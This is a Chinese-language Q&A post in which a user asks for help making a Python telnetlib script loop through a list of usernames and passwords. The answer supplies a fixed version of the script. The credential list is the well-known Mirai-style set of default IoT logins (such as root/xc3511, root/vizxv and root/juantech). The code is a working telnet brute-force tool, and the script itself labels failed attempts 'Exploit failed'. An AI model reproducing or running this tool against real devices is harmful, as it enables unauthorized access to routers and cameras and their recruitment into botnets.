Question

我试图使用python3 telnetlib库连接到设备，但我不想从一个元组读取凭据，而是遍历它们直到找到它，而不是指定单个用户名/密码（如下所示）找到一个匹配项。

下面是使用具有单个用户名的telnetlib的示例。

import telnetlib
import sys
import getpass

bot = telnetlib.Telnet("192.168.1.128")
bot.read_until(b"login: ")
bot.write(("pi\n").encode('ascii'))
bot.read_until(b"Password: ")
bot.write(("pass12345\n").encode('ascii'))

我已经尝试过以下操作，但是脚本确实可以连接，但是只尝试了第一个用户名和密码，然后挂起，而没有尝试任何其他凭据。

任何帮助都将不胜感激。

 passwords = [('root', 'xc3511'), ('pi', 'raspberry'), ('pi', 'raspberry'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]


def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.131', timeout=10)
    ip = '192.168.0.131'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect([b"Password: ", b"password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")
            tn.read_all().decode('ascii')

            (i, obj, res) = tn.expect([b"Login Incorrect", b"Login incorrect"], 5)

            if i != -1:
                print("Exploit failed")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b"~$", b" "])):
                    print("Login successful:",tuples[0], tuples[1])
                    break
                else:
                    print("Exploit failed")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()

Answer 1

您的代码抛出异常，它通过打破for循环并以静默方式结束，在except块中进行处理，这就是为什么您的程序仅尝试第一个用户名和密码的原因。因此，首先要了解发生了什么情况，应将break语句替换为print（e）

except Exception as e:
    print(e)

我没有尝试您的代码，但是看起来在此行中未定义名称“ password”：

        if password:

更新的答案：

passwords = [('root', 'xc3511'), ('root', 'vizxv'), ('root', 'admin'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]

def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.130', timeout=10)
    ip = '192.168.0.130'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")

            (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)

            if i != -1:
                print("Incorrect password or username")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b">"])) or len(res) > 500:
                    print(f"Login successful: {tuples[0]}, {tuples[1]}")
                    tn.write(b"exit\n")
                    print(tn.read_all()) 
                    break
                else:
                    print(f"got this res after login:\n{res}")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()

通过遍历元组读取用户名和密码

1 个答案: